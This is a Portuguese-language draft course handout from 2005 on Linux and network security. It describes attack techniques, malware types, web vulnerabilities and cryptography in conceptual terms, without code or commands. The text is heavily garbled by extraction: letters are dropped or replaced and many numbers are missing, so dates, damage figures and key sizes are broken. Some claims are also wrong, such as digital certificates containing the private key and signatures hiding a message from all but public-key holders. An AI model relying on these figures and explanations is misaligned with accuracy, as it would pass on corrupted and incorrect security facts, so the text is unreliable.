You are on page 1of 34

Curso de Segurana em Linux e Redes em

GeraI

Prof. Lus Rodrigo




Verso 0.4
Rascunho
Data: 04.03.2005
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 1 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005



ntroduo: A Segurana na nternet

Devido ao modo como a nternet foi projetada, ainda hoje, existe uma ausncia de mecanismo que
garantam a privacidade e autenticao, para as camadas que esto abaixo da aplicao, ou seja, quando
da sua criao no houve uma grande preocupao com segurana. Dentre os vrios problemas que ainda
agravam esta situao podemos destacar:

1) Senhas reutilizadas e no cifradas;
2) Baixo nvel de segurana em servidores de Dial-Up (linha discada);
3) Falta de critrio de segurana, na criao de contas de usurios;
4) Monitorao e expirao de contas feita de forma ineficiente;
5) Falta de ateno quando a configurao de servidores que executam algum tipo de CG
(Common Gateway nterface).

Desta forma, jamais execute um servidor web como root, sendo indicado a criao de um usurio especfico
para tal ao, como por exemplo o usurio de grupo webserver.
O principal avano que ocorreu na segurana da WEB nos ltimos tempos foi a criao do protocolo SSL
(Secure Socket Layer) pelo Netscape, este protocolo usa uma estrutura de trs camadas que emprega:

1) Autenticao;
2) Criptografia RSA e DES;
3) Verificao de integridade MDS.

Como funciona o processo:

1) Realizao do Handshake (Aperto de Mos) Definio de uma chave secreta;
2) ncio da conexo privada Mecanismo de criptografia DES chave simtrica;
3) Pode haver a autenticao do cliente e do servidor, via RSA chave assimtrica;
4) Transporte das mensagens uso do algoritmo de veriIicao de integridade uso do SHA,
MDS e etc.

Podemos ento perceber claramente que o objetivo deste protocolo de segurana prover a
privacidade e confiabilidade entre dois programas, buscando estabelecer um processo de negociao e
emprego de funes de autenticao mtua.

Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 2 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005


Conceitos Bsicos

O Termo "Segurana", segundo a ISO 7498-2, utilizado para especificar os fatores necessrios
para minimizar a vulnerabilidades de bens e recursos e est relacionada a necessidades de proteo contra
acesso ou manipulao das informaes confidenciais e utilizao dos recursos de processamento de forma
no autorizada.
Da mesma forma "Vulnerabilidade" utilizada para especificar qualquer fraqueza que pode ser
explorada para violar um sistema ou as informaes que ele contem. A necessidade de proteo deve ser
definida tendo como base as possveis 'Ameaas" as quais o ambiente est exposto, e deve ser
formalizado em um documento oficial denominado Poltica de Segurana.

meaas e 9aques

Uma "Ameaa" consiste de uma possvel violao da segurana de um ambiente ou sistema. As
ameaas podem ser classificadas como:
1. Passivas / Ativas;
2. Acidentais / Intencionais;
3.
Um "Ataque" a materializao de uma ameaa e normalmente pode ocorrer de vrias formas
diferentes, mas normalmente realizado atravs das etapas:
1. Obter informaes sobre o alvo - coleta do perfil do alvo;
2. Obter acesso inicial, no privilegiado, ao sistema;
3. Explorar pontos fracos para aumentar o nvel de privilgio e expandir o acesso;
4. Executar o ataque propriamente dito;
5. nstalar porta dos fundos (backdoor);
6. Cobrir rastros.

Dentre as tcnicas que podem ser utilizadas para proferir um ataque podemos destacar:


1. !reaking - consiste na m utilizao do sistema telefnico, permitindo acesso gratuito
e at mesmo interromper seu funcionamento;

2. iscagem de Guerra ou iscagem de Fora Bruta consiste no uso de ferramentas
para realizar a discagem seqencial para um nmero aleatrio de nmeros com o
objetivo de detectar um modem. Uma vez identificado um modem poderia ser utilizado
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 3 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
um ataque de senha para se ter acesso ao sistema;

3. ngenaria social consiste em se passar por uma outra pessoa com o objetivo de
coletar informaes para proferir o ataque em s (coleta de informaes privilegiadas);
Recentemente tem-se utilizado principalmente o "e-mail" para a realizao desta tcnica.
Esta tcnica uma forma incrvelmente eficaz de se reunir informaes sobre um dado
ambiente u sistema alvo;

4. "uebra de sena tem por finalidade obter as senhas de acesso ao sistema, ou de uma
conta em especial. As principais tcnicas que podem ser empregadas so:
ora bru9a;
Dicionrio;
Combinao de paIavras;
Como no existem senhas 100% seguras uma questo de tempo at que um software
de quebra de senha consiga descobrir uma senha.

5. Filtragem de !acote (packet sniffing): almeja a coleta de nomes de usurio e senhas
que trafegam de forma no protegida pela rede; e outros tipos de informaes
pertinentes para o invasor;

. Varredura ICM! - !inging esta tcnica utilizada para determinar os possveis alvos
para um determinado ataque, mas tambm pode ser utilizada por Administradores de
Rede para realizar o monitoramento da mesma;

. Scanner de !ortas consiste na determinao de quais servios de rede esto ativos
nos hospedeiros da rede, bem como da identificao das principais vulnerabilidades a
que estes hospedeiros esto sujeitos. Ao identificar o endereo de um hospedeiro ativo,
o invasor pode utilizar este valor para forjar um ataque sem ser identificado

8. CoIe9a do inger Prin9ing de um hospedeiro;

. Cdigo maIicioso (maIware): programas desenvolvidos com objetivo de "furto" de
informaes ou at mesmo danificao dos sistemas.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 4 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

Os Principais tipos de Ataques

1. Personificao (masquerade) uma entidade faz-se passar por outras;

2. RepIay aps uma mensagem ser interceptada ela pode ser transmitida para permitir o acesso de
um invasor ao sistema;

3. odificao de Con9edo o contedo de uma mensagem alterado de forma furtiva;

4. 9aques In9ernos normalmente proferidos por usurios legtimos que realizam operaes ilegais;

5. rmadiIhas (9rapdoor) entidades do sistemas so modificadas para produzir efeitos no
autorizados em resposta a determinadas mensagens ou intervalos de tempo;

. CavaIos de Tria entidades que executam funes no autorizadas, como por exemplo um
procedimento de "Login" modificado;

. Recusa de Servio tem por objetivo impedir que entidades legitimas realizem suas funes.
Tipo: DoS e DdoS.

8. Spoofing IP - Esta uma tcnica, dita altamente sofisticada, onde uma mquina autenticada por
outra atravs de Pacotes P indicando ser uma fonte segura. Dado que um computador "X pode
manter uma comunicao com um outro computador "Y, sem a necessidade da constante
verificao de autenticidade. Um hacker pode se disfarar informando para "X que sua mquina
"Y. Para isto ele deve ser capaz de gerar os nmeros de seqncia que so usados durante o
"Aperto de mos entre dois servidores, uma forma de se obter tais nmeros enviar uma srie de
solicitaes de conexes com "X e guardar os nmeros gerados.. Com o tempo, o hacker pode
descobrir como ele gera estes nmeros. Descoberto o processo de gerao dos nmeros, o
hacker inicia uma conexo informando ser "X, mas como ele no a mquina indicada ele age as
"escuras. Feito a solicitao ele envia um outro pacote com o nmero de seqncia, e com isto
fecha a conexo. Uma vez fechada a conexo o usurio passa a trabalhar em um canal
unidirecional, uma vez que ele no reabrir os pacotes de resposta. Uma forma de se evitar este
tipo de ataque configurar o roteador para que ele no aceite pacotes internet que simulam
originar-se de um endereo local. Outra forma seria a verificao dos "logs, e do arquivo de host
confiveis, caso haja uma conexo ativa com algum destes hosts, mas sem que hajam processos
em andamento provavelmente um ataque est em ao.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 5 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

. egao de Servio - Este tipo de ataque tem por objetivo deixar um "recurso inoperante
"momentaneamente. Existem basicamente dois tipos de ataques desta categoria o DoS e o
DDoS, este segundo, se baseia no envio de uma grande quantidade de pacotes para um alvo de
forma coordenada a partir de vrias origens. Devido a uma fragilidade do TCP (Transmission
Control Protocol) os endereos da origem dos pacotes so normalmente forjados. Sendo que os
tipos mais comuns de DoS se baseiam na prerrogativa que o cliente tem que aceitar a conexo e
na limitao de que um servio tem que aceitar um nmero de conexes por vez. Um dos
cuidados que devem ser tomados quando da configurao dos equipamentos de rede que eles
no possam ser usados como fontes de ataques, bem como contra os ataques propriamente ditos,
uma das formas de se fazer a segunda parte e retirar os servios que no esto sendo utilizados,
outra forma realizar uma constante verificao do trfico do site, assim sendo, quando uma
atividade anormal for detectada, uma atitude correspondente deve ser adotada, como por exemplo
bloquear um endereo de P.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 6 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

2) Malware
Desde novembro de 1, quando Robert Morris lanou seu ;erme na internet, a mdia apresentou
o cdigo malicioso como se fosse um desastre natural, o que no deixa de ser uma verdade, visto seus
efeitos e como as pessoas se comportam.
Os ;Jrus, alm de serem desastrosos para a produtividade de uma empresa, devido ao seu
comportamento epidmico, ele pode consumir uma sensvel parte da largura de banda de uma rede de
computadores.
Atualmente existe mais de 40.000 tipos distintos de vrus registrados. Dos vrus conhecidos trs se
destacam pelo seu poder destrutivo e pelo seu modo de operao. O vrus Melissa", desenvolvido por
David Smith em 1, causou um dano total de US$ 0 mil. O vrus "I love You" causou um dano total
de US$ 10 bilhes e desativou mais de 10.000 empresas, incluindo o Departamento de Defesa Norte
Americano (D.O.D).
Um dos motivos de rpida proliferao do Vrus " love you" foi causada pelo uso do catlogo de
endereos do Microsoft Outlook press, e por explorar a curiosidade do usurio.
Como acontece no mundo real a cura para estas pragas est sempre um passo atrs do seu
desenvolvimento. E atualmente os vrus deixaram de ser um pequeno incomodo, se tornando uma real
ameaa para a comunidade comercial.

2.1) CicIo de Vida do Vrus
- Nascimento;
- Lanamento;
- Proliferao;
- Disparo;
- Ativao;
- Deteco;
- Eliminao;
- Mutao (volta ao primeiro estgio).
Os vrus podem utilizar vrios meios de transporte, originalmente os disquetes e os arquivos
baixados de BBS eram a principal fonte, atualmente os e-mails e as redes promscuas so os dois maiores
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 7 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
grupos de risco de contaminao.
Atualmente, muitos vrus no necessitam que o usurio executem um arquivo anexado, basta abrir o
e-mail ou visitar um site que o mesmo automaticamente acionado.

2.2) Tipos de Vrus
Os principais tipos de vrus so:

1. Vrus de infeco de arquivos - um dos primeiros tipos de vrus. Quando arquivos
infectados eram executados, o vrus era automaticamente executado e se proliferava
para os demais arquivos executveis existentes no sistema;

2. Vrus do se9or de boo9 - pouco comuns na atualidade, foram uma praga no passado,
eram carregados antes da execuo do sistema operacional e contaminavam todos os
demais discos inseridos no sistema. Atualmente este tipo de vrus no causa grandes
danos devido a funcionalidades incorporadas nos sistemas operacionais mais recentes;

3. Vrus de acro - usam as linguagens de macro dos programas para infectar seus
arquivos de dados. So Vrus especficos dos programas e atacam principalmente
documentos do Microsoft Word e Microsoft Excel;

4. Virus de Srip9 - so escritos utilizando-se de programao script, principalmente
Visual Basic Script e Java Script, normalmente ativos quando um e-mail aberto ou um
site visitado;

5. Vrus Crip9ografado - foi o primeiro resultado da guerra entre desenvolvedores de
vrus e anti-vrus, como as assinaturas dos vrus so normalmente sua forma de
deteco, os vrus comearam a cifrar e embaralhar seus cdigos todas as vez que so
executados;

. Vrus PoIimorfico - so vrus que possuem um sistema ativo de mutao, que no
somente muda o vrus a cada vez que ele replica, mas tambm muda a rotina que
decifra. sto cria um vrus muito difcil de se detectar. Um exemplo de vrus desta
categoria "One Half", que criptgrafa progressivamente o seu disco rgido, tornando-o
impossvel de ser lido.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 8 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

2.3) Outros tipos de Malware:

1. CavaIos de Tria;

2. Vermes - so aplicativos designados para se espalharem pelas redes e se replicarem, so
independentes de outros programas aos arquivos, e geralmente causam danos por causa de
sua replicao fora de controle;

3. Cdigo maIicioso em Java - esta linguagem normalmente utilizada na nternet na forma de
"applets eu so manipuladas pelo browser. A segurana desta linguagem de sua mquina
virtual, contudo inevitvel que algum usar o Cdigo Java para escrever um programa
malicioso;

4. Cdigo maIicioso em c9ive X esta "linguagem de propriedade da Microsoft e assim
como a Java pode ser utilizada para difuso de cdigo malicioso. Contudo, contem assinaturas
digitais que verificam o nome do autor do programa. Depois o browser verifica se voc confia
ou no no fornecedor do software. Contudo, jamais permita automaticamente todos os
aplicativos de um dado auto, visto a possibilidade de se falsificar um certificado;

2.4) TecnoIogias de an9ivrus
Existem vrias tcnicas que podem ser adotadas pelos antivrus, das quais podem-se destacar:

1) nvestigao de assinatura;
2) Monitoramento de atividades;
3) Verificao de integridade.

Os Pacotes de nvestigao procuram assinaturas e consistem de duas partes:
1) Um banco de dados contendo as assinaturas conhecidas;
2) Software de pesquisa e anlise dos arquivos em busca destas assinaturas.
Outra forma de investigao a 'In;estigao HeurJstica", que procura cdigo suspeito, estes
softwares convergem os arquivos para uma rea "virtual do computador rea de quarentena, os
executam
e testam seu comportamento.
Uma vantagem da nvestigao Heurstica que ela pode: pegar" novos vrus antes mesmo de
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 9 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
ocorrer uma infeco ou do lanamento do novo arquivo de assinaturas.
Mas os investigadores podem oferecer falsos positivos", contudo este problema tem sido
gradativamente reduzido.
Os 'Monitores de Ati;idade" observam as aes que esto sendo executadas no computador, e
quando ocorre uma ao suspeita, o monitor envia um alerta para o usurio, pedindo que o mesmo aceite
ou rejeite a execuo do cdigo, o que pode gerar certo nvel de inconvenincia ao usurio.
Os 'Verificadores de Integridade" guarda informaes detalhadas sobre os arquivos do
computador e setores do sistema. sso permite que ele possa determinar quando so feitas mudanas e
ento emitir um alerta ao usurio.
Os softwares antivrus podem ser executados em trs locais distintos:
No esktop protegendo localmente os dados, mas pode ser facilmente desabilitado pelo
usurio;
Nos Ser;idores garante maior nvel de segurana para os dados da rede, mas podem
sobrecarregar a operao do servidor;
Nos Gateways da Rede evita a entrada e sada de softwares maliciosos da rede. Pode gerar
um atraso na comunicao, contudo seu uso altamente recomendado.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 10 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

3) Problemas de Segurana da WEB
Quando a WEB era formada por pginas esttuas, no havia possibilidade de realizao de
comrcio, mas mesmo assim j era alvo de ataques de segurana, como por exemplo, a 'desfiguraro" do
arquivo 'inde.tlm".
Apesar de simples, este ataque pode gerar a perda de credibilidade da empresa e a reduo da
confiana do usurio.
Outro tipo de ataque que j era comum nesta poca era a alterao ilegal dos servidores de DS",
que permitem que sites fossem trocados.
Os ataques de DNS no geravam a perda dos dados da pgina, mas causavam os mesmos danos a
credibilidade e confiana.
Durante estes ataques normalmente os 'ackers" utilizam-se da tcnica de camuflagem de I!" , a
qual permite ocultar o endereo de uma outra pessoa durante o ataque.
Com o crescimento da web, os sites de e-commece se tornaram o grande alvo dos hackers, visto
que eles poderiam lucrar de vrias formas, principalmente financeiramente.
A desfigurao de Sites o tipo de ataque mais simples e pode no exigir grandes conhecimentos.
o mais explorado pelos Script Kiddies. Mesmo sendo um ataque simples, ele causa srios danos
empresa, independente se o site hospedado para "terceiros.
3.1) Ataques de Negao de Servio
Apesar dos hackers ainda no possurem uma unio, eles trabalham em grupos de forma livremente
organizada. Estas caractersticas que tornam este tipo de ataque possvel.
O objetivo deste ataque no causar perda de dados ou acesso ilegal ao sistema. E sim tornar o
servidor incapaz de responder aos clientes reais que tentam acessar o site.
Uma das primeiras formas desse tipo de ataque era aplicado contra o sistema telefnico de
determinadas organizaes, neste caso, os 'ackers", simplesmente ligavam repetidamente para os
nmeros de telefones dos SACs impedindo aos reais cliente o acesso ao servio.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 11 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Os hackers podem automatizar estes ataques atravs dos 'Zumbis" que so sistemas previamente
comprometidos para um ataque. Este tipo de ataque pode caracterizar um DDOS, no qual o invasor no
pode ser diretamente rastreado.
Novos Zumbis so facilmente "alertados, pois cada vez mais existem pessoas com acesso de
banda larga, nas quais conectam seus computadores de forma protegida para um longo perodo de tempo.
Dentre as ferramentas utilizadas pelos "hackers podemos destacar o Tribal Flood Network e o
Trin00.
Tipos de ataque:
1) Ataque Smurf : uma rede com pedidos "Packet nternet Groper (PNG), neste caso
a rede sobrecarregada com uma grande quantidade de pedidos e replicar de ping;
2) Ataque Fraggle : este ataque usa o protocolo UDP User Datagram Protocol da
mesma forma que o ataque smurf;
3) A9aque de Inundao de SY cliente e servidor trocam uma srie de mensagens
a fim de estabelecer uma conexo. O primeiro pacote o SYN (abreviao
synchroneze sincronizar).
O n da rede responde ao cliente com uma mensagem SYN-ACK (synchronize
acknowledgment confirmao de sincronizao).. Durante o ataque o hacker no
envia a confirmao (ACK) deixando o host aguardando com uma conexo meio
alerta.
Quando o host atinge seu limite de conexes, ele passa a recusar quaisquer
conexes que chegarem, incluindo as vlidas. Estas conexes alertas iro expiar o
trmino do ataque e a negao do servio terminar.
O anonimato de um ataque de Negao de Servio torna-o um ataque pouco
visvel, mas com elevados danos publicidade e imagem da empresa.
Apesar de serem fceis de se gerar, so difceis de se impedir, a nica coisa que
pode ser feita tornar sua rede mais difcil de atacar e seus computadores de se
tornarem Zumbi.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 12 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

3.2) Estouro de Bufffer
Buffers so reas de armazenamento temporrio.
1) Possui tamanho limitado;
2) Estou de Buffer ocorre quando os dados excedem o limite;
3) Os dados excelentes podem alterar outras regies de dados, incluindo as instrues do
Programa;
4) Pode ser utilizado para executar cdigo malicioso e abrir acesso ao sistema;
5) Existem em todos os sistemas.
Soluo:
1) Validao dos dados antes de serem enviados para o buffer;
2) Pode atrasar as transaes e reduzir a largura da banda;
3) A validao deve ser feita, principalmente no servidor.

3.3) Vulnerabilidade no campo do formulrio
1) Principalmente nos campos ocultos;
2) Campos podem ser vistos selecionando as opes "EXBR/CDGO FONTE;
3) O hacker pode alterar estes campos antes de submete-los ao site;
4) Formulrios com cdigo de sesso tambm so vulnerveis a este ataque e poderiam
permitir a um hacker apanhar a sesso de um usurio real.
Soluo:
1) Todos os dados retornados para um formulrio devem ser verificados para o servidor;
2) ncluindo aqueles que o usurio no possui "acesso direto;
3) Java Script no lado do cliente reduz o problema, mas no resolve, pois pode ser
desabilitado.

3.4) Modificao do arquivo de Cookie
1) Cookies so arquivos texto que guardam as preferncias do usurio;
2) So arquivos no cifrados, logo podem ser facilmente alterados por um hacker.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 13 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

3.5) Scripts entre sites
1) Um usurio pode ser atrado a executar um cdigo malicioso contra um site;
2) Pode ocorrer quando um usurio recebe um e-mail com um Hiperlink;
3) Ao clicar no link ele direcionado ao site com o cdigo malicioso;
4) O servidor web aceita o cdigo pensando ser de um usurio confivel e o executa;
5) Este script poder fornecer ao hacker informaes confidenciais sobre o usurio.

3.) Vulnerabilidades do Sistema Operacional e das Aplicaes
1) H falhas de segurana em todos os sistemas operacionais e aplicaes;
2) Monitorar falhas e aplicar os patches;
3) Fornecedores relutam em publicar os pontos fracos;
4) Configuraes mal feitas, portas dos fundos e depuraes tambm podem deixar o site
vulnervel;
5) Programadores tambm podem deixar comandos de depurao que foram teis durante o
desenvolvimento, mas agora representa um grande risco.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 14 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

4.) A criptografia e seu uso
A criptografia a arte/cincia de escrever de forma cifrada/codificada. Ou seja, o conjunto de
tcnicas que permite reescrever uma mensagem "clara de forma incompreensvel e permitir que somente o
destinatrio entenda a mensagem.
A criptografia tem por finalidade garantir a privacidade atravs do uso de algoritmos que trabalham
como funes matemticas que mapeiam um dado de entrada em uma outra informao na sada, que na
verdade o texto cifrado.
A palavra criptografia vem do grego: krypto esconder + grafo escrita/grafia.
A criptoanlise a cincia de determinar a chave de criptografia ou decifrar as mensagens. A
criptologia a cincia que combina ambas as anteriores. E o criptanalista pode ser tanto o mocinho
quanto o vilo.
Os componentes bsicos de uma estrutura de criptografia so:
1) Dado de entrada - texto plano;
2) Funo de mapeamento - algoritmo de criptografia;
3) Segredo - chave que cifra e/ou decifra;
4) Dado de sada - texto cifrado.

4.1) Sistema Criptogrfico
Estes sistemas podem ser baseados em dois tipos de algoritmos, nos restritos e nos modernos.
Aqueles que se baseiam nos algoritmos modernos podem ser simtricos e assimtricos. Os sistemas
simtricos fazem uso de somente uma chave, dai o seu nome, j os sistemas assimtricos fazem uso de
duas chaves, a pblica e a privada.

4.1.1) Algoritmos restritos
1) O algoritmo o segredo;
2) No muito seguro;
3) So difceis de se desenvolver e distribuir enquanto continuam secretos;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 15 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005

4.1.2) Esteganografia
Esconder uma mensagem secreta em outra mensagem. Exemplos:
1) Tinta invisvel - mensagem publica usando "tinta normal e a secreta usando tinta "invisvel;
2) magem grfica:
1) ncluir uma mensagem secreta dentro de uma "figura.;
2) Ou em se cabealho de dados.

4.1.3) Cifras de substituio
1) Longo histrico;
2) Substitui cada carter do texto puro para um outro smbolo na mensagem secreta;
3) As substituies podem ser arbitrrias ou podem ter um padro determinado, como uma
rotao do alfabeto;
4) So fceis de descobrir devido aos padres de letra e freqncia em cada linguagem.
xempIo Taquigrafia; Cdigo Morse; American Standart Code For nformatran nterchange
(ASC).

4.1.4) Cifras de Transposio
1) Mantem o cdigo puro intacto, mas trocam ou misturam a ordem de alguma forma;
2) Uma verso desta tcnica a "Cifra de transposio colunar simples;
Exemplo de funcionamento:
(1) Definio da cifra original
THS S A SMPLE COLUMNAR TRANSPOSTON CPHER
(2) Definio do formato da matriz
Frase 40 caracteres
Grade colunas
5 linhas
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 16 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
(3) nserindo dados na grade:
T H S S A S
M P L E C O L
U M N A R T R A
N S P O S T
O N C P H E R
(4) Reescrita da cifra seguindo-se as colunas verticalmente.
TUNO HMMSN PNPC SLAO
ERSP SCTH AORTE SLAR
Verses mais sofisticadas usam padres mais complexos, como ziguezague pela grade.
Como as palavras esto mantendo a mesma freqncia, esta tcnica facilmente detectada
e quebrada.
4.2) Tcnicas Modernas de Codificao
1) Usam algoritmos, irrestritos e chaves para manter as informaes seguras;
2) Superiores aos sistemas de algoritmo restrito;
3) Muitos possuem anos de resistncia criptoanlise intensa;
4) Muitas pessoas podem usar o mesmo algoritmo, basta mudar a chave;
5) Quando a chave for comprometida basta gerar uma nova;
) Duas tcnicas bsicas:
1) Criptografia simtrica;
2) Criptografia assimtrica ou criptografia pblica.
) Muitos sistemas usam ambas as tcnicas.
4.2.1 Criptografia Simtrica
1) Conhecido como codificao de chave secreta;
2) Uma mesma chave utilizada para codificar e decodificar;
3) Desta forma, a chave o segredo.
4) muito utilizada em conexes seguras para realizar a troca das chaves temporrias;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 17 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Exemplo de algoritmos:
1) DES Data Encyptron Standard;
2) Triple DES;
3) DEA nternational Data Encyption Algorithm;
4) Blowfish;
5) Rot 13
) RCS.
Estes algoritmos podem ser de dois tipos:
1) Algoritmos de Fluxo que trabalham com o texto um byte por vez;
2) Algoritmos de Bloco trabalham sobre blocos de tamanha fixo.
Os sistemas simtricos so mais simples e mais rpidos do que aqueles de chave pblica (1.000 vezes
mais rpido), mas possui a desvantagem de que dois usurios distintos tenham conhecimento do mesmo
segredo (chave). Ambos os usurios so responsveis pela segurana da chave.
4.2.2 Criptografia para chave pblica (assimtrica)
Foi criada em 1 por dois matemticos de Stanford, Whitfield Diffie e Martin Hellman. Esta
resolve o problema do uso da chave secreta existente na criptografia simtrica, para tal faz uso de duas
chaves (privada - cifra e pblica- decifra). Estas duas chaves so diferentes, contudo possuem um
relacionamento matemtico, todavia no possvel derivar a chave privada a partir da pblica e vice-versa,
elas se baseiam em nmeros primos, fatorao, logaritmos e outras funes matemticas. Neste caso, o
tamanho da chave quem determina a eficincia do processo.
O principal deste tipo de criptograma o RSA criado por Ron L. Rivert, Adi Shamir e Leonard
Adelman, a segurana deste algoritmo se baseia na dificuldade de se fatorar nmeros extensos. Segundo
pesquisadores, para desvendar o sistema RSA Data Security usando uma chave de 0 bits, seriam
necessrios 4.300 computadores e 50 anos.
O uso destas chaves permite o estabelecimento da conexo segura entre duas entidades sem o
prvio conhecimento das chaves. Visto que quando uma entidade "X precisa enviar uma mensagem para
"Y, ela usa a chave pblica de "Y, para cifrar a mensagem e somente a entidade "Y ser capaz de
decifrar a mensagem, pois "somente ela conhece a sua chave privada.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 18 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
4.2.3 Criptossistemas Hibridos
Estes sistemas fazem uso do sistema de chave pblica apenas para realizarem o envio e troca de
chaves, para a transmisso de dados utilizada a criptografia simtrica e a chave enviada anteriormente. O
Criptossistemas hbridos aproveitam o melhor das duas tecnologias. Um exemplo de sistema hbrido o
implementado pelo protocolo "HTTPS, largamente usado em e-commerce.
Exemplo de funcionamento .......
4.3) Outros recursos dos criptossistemas
Alm da confidenciabilidade, os criptossistemas podem ser estilizados para a autenticao,
verificao de integridade e reconhecimento.
1) u9en9icao permite garantir que uma pessoa quem realmente afirma ser;
2) In9egridade garante que os dados no foram alterados durante a transmisso;
3) Reconhecimen9o garante que o emissor de dados uma pessoa especfica, e que o
destinatrio realmente recebeu os dados. mpede o repdio de informaes.
4.3.1)Mtodos de segurana que utilizam criptografia
Atualmente a criptografia est sendo largamente utilizada para proteger de vrias formas os dados
que esto em trnsito pela rede ou armazenados nos discos ticos e magnticos das mquinas. Dentre os
mtodos atualmente disponveis podemos destacar:
4.3.1.1)Funo de Hash Unidirecional:
1) Permite verificar a integridade de uma mensagem ou bloco de dados;
2) um valor exclusivo a mensagem;
3) Serve como impresso digital;
4) A mensagem original no pode ser derivada a partir do Hash
Dentre os algoritmos que fazem uso desta tcnica podemos destacar: Secure Hash Algorithm
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 19 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
1 (SHA 1), RPEM, MD5 e HAVAL.
4.3.1.2) Cdigo de Autenticao de mensagem (MACs):
1) Garante a autenticao e integridade dos dados;
2) Hash Unidirecional + chave secreta;
3) Semelhante a criptografia simtrica;
4) No se preocupam em manter os dados secretos ou sua integridade.
4.3.1.3) Assinaturas Digitais:
Permite que o destinatrio de uma mensagem digital possa verificar a autenticidade do seu
remetente. E que a mensagem no foi de forma alguma alterada durante o processo de transferncia, visto
que uma assinatura digital que tenha sido verificada no pode ser negada, ela fornece um elevado nvel de
confiana no processo de transaes eletrnicas e autenticao de documentos digitais.
O processo das Assinaturas Digitais se baseia na existncia de duas chaves, uma pblica e uma
privada. Neste caso, o remetente codifica a mensagem utilizando a sua chave privada e somente o usurio
que possui a sua chave pblica poder ler a mensagem.
Uma assinatura digital possui as seguintes propriedades:
1. Garante a Autenticidade;
2. No pode ser forjada;
3. No reutilizvel;
4. No pode ser repudiada.
5. Vlida certificados;
. Pode ser utilizada em assinaturas eletrnicas;
. Autentica, verifica a integridade e faz o reconhecimento de mensagem;
. Pode ser utilizada como Hash de um documento;
Igori9mos
1) RSA;
2) Digital Signature Algotithm (DSA);
3) Digital Signature Standard (DSS).
Usa a chave privada para assinar o documento, e o destinatrio usa a sua chave pblica para
verificar sua assinatura.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 20 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
4.3.1.4) Certificados Digitais:
1) Permite reconhecer/validar certificados emitidos;
2) Verificao das chaves por um terceiro de confiana autoridades de certificado (CAS);
3) Possuem uma taxa de ativao e validade;
4) Um certificado digital composto: da chave privada e publica do indivduo, mais a assinatura da
CA.;
5) Autoridades certificadoras: Versign, Inc; Secure e9 TechnoIogia;
) Alguns governos, como Estados Unidos e Brasil, funcionam como certificadores;
) Algumas instituies possuem sua prpria autoridade, para codificao interna de dados.
4.3.1.5) Kerberos:
1) Servio de autenticao (MT);
2) Cifras para codificao e autenticao;
3) Constitudo de um Banco de Dados de Cifra;
4) Aps o login, gera e distribui as chaves de sesso;
5) Quando o autenticador quebrado todo sistema pode entrar em colapso;
) No indicado para uso entre domnios de segurana.
4.4 ) Principais Tipos de Ataques de Codificao
